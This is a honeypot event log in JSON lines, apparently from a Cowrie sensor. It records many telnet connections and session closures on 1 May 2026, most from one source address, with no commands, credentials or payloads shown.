{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45098,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a464ed2e424","protocol":"telnet","message":"New connection: 51.15.157.40:45098 (159.203.135.109:23) [session: 3a464ed2e424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:18.320529Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45080,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c72a2b4142a","protocol":"telnet","message":"New connection: 51.15.157.40:45080 (159.203.135.109:23) [session: 8c72a2b4142a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:18.324678Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59412,"dst_ip":"159.203.135.109","dst_port":23,"session":"863a1735cd7d","protocol":"telnet","message":"New connection: 157.15.20.138:59412 (159.203.135.109:23) [session: 863a1735cd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:18.348628Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37048,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ed491edffb4","protocol":"telnet","message":"New connection: 51.15.157.40:37048 (159.203.135.109:23) [session: 3ed491edffb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:18.448426Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42642,"dst_ip":"159.203.135.109","dst_port":23,"session":"6db2783bbaaf","protocol":"telnet","message":"New connection: 51.15.157.40:42642 (159.203.135.109:23) [session: 6db2783bbaaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:18.454612Z"}
{"eventid":"cowrie.session.closed","duration":11.280540466308594,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:19.110515Z","src_ip":"185.26.126.47","session":"76f900038cb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47854,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b84742c6a66","protocol":"telnet","message":"New connection: 51.15.157.40:47854 (159.203.135.109:23) [session: 4b84742c6a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:19.307136Z"}
{"eventid":"cowrie.session.closed","duration":30.891557216644287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:19.622043Z","src_ip":"103.171.45.122","session":"ac959e5f92f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.673407554626465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:19.661166Z","src_ip":"157.15.20.138","session":"06700aaf4d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50028,"dst_ip":"159.203.135.109","dst_port":23,"session":"328d440432a8","protocol":"telnet","message":"New connection: 51.15.157.40:50028 (159.203.135.109:23) [session: 328d440432a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:19.950087Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"329887e2ba41","protocol":"telnet","message":"New connection: 51.15.157.40:41380 (159.203.135.109:23) [session: 329887e2ba41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.006262Z"}
{"eventid":"cowrie.session.closed","duration":30.51932954788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.181622Z","src_ip":"157.15.20.138","session":"ca66a8cba517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93233346939087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.215198Z","src_ip":"103.171.45.122","session":"3f55e5d523a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42402,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1efbdce99d","protocol":"telnet","message":"New connection: 51.15.157.40:42402 (159.203.135.109:23) [session: 1d1efbdce99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.377229Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48678,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1a550a1a8b","protocol":"telnet","message":"New connection: 51.15.157.40:48678 (159.203.135.109:23) [session: 7f1a550a1a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.524893Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51960,"dst_ip":"159.203.135.109","dst_port":23,"session":"048075a263f6","protocol":"telnet","message":"New connection: 51.15.157.40:51960 (159.203.135.109:23) [session: 048075a263f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.587629Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59414,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49a78ee6eb5","protocol":"telnet","message":"New connection: 157.15.20.138:59414 (159.203.135.109:23) [session: f49a78ee6eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.723242Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"40391d30f2d8","protocol":"telnet","message":"New connection: 51.15.157.40:52948 (159.203.135.109:23) [session: 40391d30f2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:20.953772Z"}
{"eventid":"cowrie.session.closed","duration":30.27091145515442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.196207Z","src_ip":"51.15.157.40","session":"347def33e3fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53554,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c6339ca7a5e","protocol":"telnet","message":"New connection: 51.15.157.40:53554 (159.203.135.109:23) [session: 0c6339ca7a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.238212Z"}
{"eventid":"cowrie.session.closed","duration":30.457595586776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.270406Z","src_ip":"103.171.45.122","session":"e794d866d613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649047374725342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.275406Z","src_ip":"51.15.157.40","session":"7eb1b500aa97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54122,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ce6186a2d05","protocol":"telnet","message":"New connection: 51.15.157.40:54122 (159.203.135.109:23) [session: 5ce6186a2d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.463123Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb2d79c1e1d","protocol":"telnet","message":"New connection: 51.15.157.40:51838 (159.203.135.109:23) [session: 7cb2d79c1e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.544852Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52126,"dst_ip":"159.203.135.109","dst_port":23,"session":"81180c029cc8","protocol":"telnet","message":"New connection: 51.15.157.40:52126 (159.203.135.109:23) [session: 81180c029cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.645008Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37170,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a22bd285124","protocol":"telnet","message":"New connection: 34.69.118.1:37170 (159.203.135.109:23) [session: 7a22bd285124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.835528Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52758,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bae9accf81d","protocol":"telnet","message":"New connection: 51.15.157.40:52758 (159.203.135.109:23) [session: 4bae9accf81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:21.892471Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08dc30c1b82","protocol":"telnet","message":"New connection: 157.15.20.138:59430 (159.203.135.109:23) [session: d08dc30c1b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:22.291388Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48726,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab9cb9291f9","protocol":"telnet","message":"New connection: 51.15.157.40:48726 (159.203.135.109:23) [session: bab9cb9291f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:22.541750Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60083e1b89a","protocol":"telnet","message":"New connection: 157.15.20.138:59434 (159.203.135.109:23) [session: b60083e1b89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:22.742535Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59254,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e74d13e74f3","protocol":"telnet","message":"New connection: 51.15.157.40:59254 (159.203.135.109:23) [session: 2e74d13e74f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.248456Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59732,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7203cb6f69","protocol":"telnet","message":"New connection: 51.15.157.40:59732 (159.203.135.109:23) [session: 2f7203cb6f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.400546Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60004,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a6a7cd963a","protocol":"telnet","message":"New connection: 51.15.157.40:60004 (159.203.135.109:23) [session: 35a6a7cd963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.506238Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60372,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf15b83a8b53","protocol":"telnet","message":"New connection: 51.15.157.40:60372 (159.203.135.109:23) [session: cf15b83a8b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.627758Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60680,"dst_ip":"159.203.135.109","dst_port":23,"session":"a45314e4c6a8","protocol":"telnet","message":"New connection: 51.15.157.40:60680 (159.203.135.109:23) [session: a45314e4c6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.720021Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33008,"dst_ip":"159.203.135.109","dst_port":23,"session":"4998bb61ebc1","protocol":"telnet","message":"New connection: 51.15.157.40:33008 (159.203.135.109:23) [session: 4998bb61ebc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.949179Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"d684d8fae93a","protocol":"telnet","message":"New connection: 51.15.157.40:33026 (159.203.135.109:23) [session: d684d8fae93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:23.957899Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33326,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfee1e00763b","protocol":"telnet","message":"New connection: 51.15.157.40:33326 (159.203.135.109:23) [session: cfee1e00763b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.077245Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33540,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c11648331b","protocol":"telnet","message":"New connection: 51.15.157.40:33540 (159.203.135.109:23) [session: 04c11648331b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.197541Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5182e68e3ed","protocol":"telnet","message":"New connection: 51.15.157.40:33608 (159.203.135.109:23) [session: c5182e68e3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.231478Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34040,"dst_ip":"159.203.135.109","dst_port":23,"session":"3163013deb50","protocol":"telnet","message":"New connection: 51.15.157.40:34040 (159.203.135.109:23) [session: 3163013deb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.362444Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59630,"dst_ip":"159.203.135.109","dst_port":23,"session":"89cd11a61325","protocol":"telnet","message":"New connection: 51.15.157.40:59630 (159.203.135.109:23) [session: 89cd11a61325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.379511Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34348,"dst_ip":"159.203.135.109","dst_port":23,"session":"da543cbc69ff","protocol":"telnet","message":"New connection: 51.15.157.40:34348 (159.203.135.109:23) [session: da543cbc69ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.447322Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34358,"dst_ip":"159.203.135.109","dst_port":23,"session":"765176693a33","protocol":"telnet","message":"New connection: 51.15.157.40:34358 (159.203.135.109:23) [session: 765176693a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.453118Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":59890,"dst_ip":"159.203.135.109","dst_port":23,"session":"61852712887b","protocol":"telnet","message":"New connection: 103.171.45.122:59890 (159.203.135.109:23) [session: 61852712887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:24.770901Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"77bca5a838b6","protocol":"telnet","message":"New connection: 51.15.157.40:36192 (159.203.135.109:23) [session: 77bca5a838b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:25.055753Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33572,"dst_ip":"159.203.135.109","dst_port":23,"session":"0019afe45605","protocol":"telnet","message":"New connection: 51.15.157.40:33572 (159.203.135.109:23) [session: 0019afe45605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:25.213715Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35232,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc413c752fdf","protocol":"telnet","message":"New connection: 51.15.157.40:35232 (159.203.135.109:23) [session: dc413c752fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:25.735433Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":59438,"dst_ip":"159.203.135.109","dst_port":23,"session":"11682a8fd3d7","protocol":"telnet","message":"New connection: 157.15.20.138:59438 (159.203.135.109:23) [session: 11682a8fd3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:25.856637Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38820,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d3b25cabf8","protocol":"telnet","message":"New connection: 51.15.157.40:38820 (159.203.135.109:23) [session: 15d3b25cabf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.003232Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38924,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e569dbbb0c3","protocol":"telnet","message":"New connection: 51.15.157.40:38924 (159.203.135.109:23) [session: 6e569dbbb0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.060535Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"68cfe84913e8","protocol":"telnet","message":"New connection: 51.15.157.40:36450 (159.203.135.109:23) [session: 68cfe84913e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.213100Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36568,"dst_ip":"159.203.135.109","dst_port":23,"session":"47774f7f2cf4","protocol":"telnet","message":"New connection: 51.15.157.40:36568 (159.203.135.109:23) [session: 47774f7f2cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.278489Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39342,"dst_ip":"159.203.135.109","dst_port":23,"session":"795f7274fc9a","protocol":"telnet","message":"New connection: 51.15.157.40:39342 (159.203.135.109:23) [session: 795f7274fc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.283484Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39366,"dst_ip":"159.203.135.109","dst_port":23,"session":"667547a770d9","protocol":"telnet","message":"New connection: 51.15.157.40:39366 (159.203.135.109:23) [session: 667547a770d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.290372Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dbf9f5604fe","protocol":"telnet","message":"New connection: 51.15.157.40:39748 (159.203.135.109:23) [session: 4dbf9f5604fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.403352Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40488,"dst_ip":"159.203.135.109","dst_port":23,"session":"00a890e8867c","protocol":"telnet","message":"New connection: 51.15.157.40:40488 (159.203.135.109:23) [session: 00a890e8867c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.608977Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37850,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0710fd1edb7","protocol":"telnet","message":"New connection: 51.15.157.40:37850 (159.203.135.109:23) [session: a0710fd1edb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.643847Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40582,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ef617ece53","protocol":"telnet","message":"New connection: 51.15.157.40:40582 (159.203.135.109:23) [session: 29ef617ece53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.663125Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40800,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f296d31108","protocol":"telnet","message":"New connection: 51.15.157.40:40800 (159.203.135.109:23) [session: 84f296d31108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.740470Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41084,"dst_ip":"159.203.135.109","dst_port":23,"session":"0391a47db836","protocol":"telnet","message":"New connection: 51.15.157.40:41084 (159.203.135.109:23) [session: 0391a47db836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.869093Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":58222,"dst_ip":"159.203.135.109","dst_port":23,"session":"503a0d813351","protocol":"telnet","message":"New connection: 89.39.83.70:58222 (159.203.135.109:23) [session: 503a0d813351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:26.933207Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33426,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0472609bbb5","protocol":"telnet","message":"New connection: 51.15.157.40:33426 (159.203.135.109:23) [session: c0472609bbb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.121130Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38756,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b808e30143a","protocol":"ssh","message":"New connection: 122.168.114.167:38756 (159.203.135.109:22) [session: 3b808e30143a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.302403Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42366,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ce606fe7105","protocol":"telnet","message":"New connection: 51.15.157.40:42366 (159.203.135.109:23) [session: 8ce606fe7105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.333698Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43018,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd34a395946","protocol":"telnet","message":"New connection: 51.15.157.40:43018 (159.203.135.109:23) [session: afd34a395946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.509741Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec8946badb62","protocol":"telnet","message":"New connection: 51.15.157.40:43516 (159.203.135.109:23) [session: ec8946badb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.690875Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43722,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3d8318f7711","protocol":"telnet","message":"New connection: 51.15.157.40:43722 (159.203.135.109:23) [session: e3d8318f7711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.748291Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44050,"dst_ip":"159.203.135.109","dst_port":23,"session":"309e5e9ba7e1","protocol":"telnet","message":"New connection: 51.15.157.40:44050 (159.203.135.109:23) [session: 309e5e9ba7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:27.887334Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41622,"dst_ip":"159.203.135.109","dst_port":23,"session":"c304e37964e0","protocol":"telnet","message":"New connection: 51.15.157.40:41622 (159.203.135.109:23) [session: c304e37964e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.077932Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44659a41e80","protocol":"telnet","message":"New connection: 51.15.157.40:44672 (159.203.135.109:23) [session: a44659a41e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.147207Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeb62946973c","protocol":"telnet","message":"New connection: 51.15.157.40:42192 (159.203.135.109:23) [session: eeb62946973c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.288608Z"}
{"eventid":"cowrie.session.closed","duration":30.68057656288147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.387807Z","src_ip":"157.15.20.138","session":"e1cefeaa0401","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42968,"dst_ip":"159.203.135.109","dst_port":23,"session":"2218d84e302d","protocol":"telnet","message":"New connection: 51.15.157.40:42968 (159.203.135.109:23) [session: 2218d84e302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.498742Z"}
{"eventid":"cowrie.session.closed","duration":31.009788036346436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:28.540630Z","src_ip":"51.15.157.40","session":"072bff763c39","protocol":"telnet"}
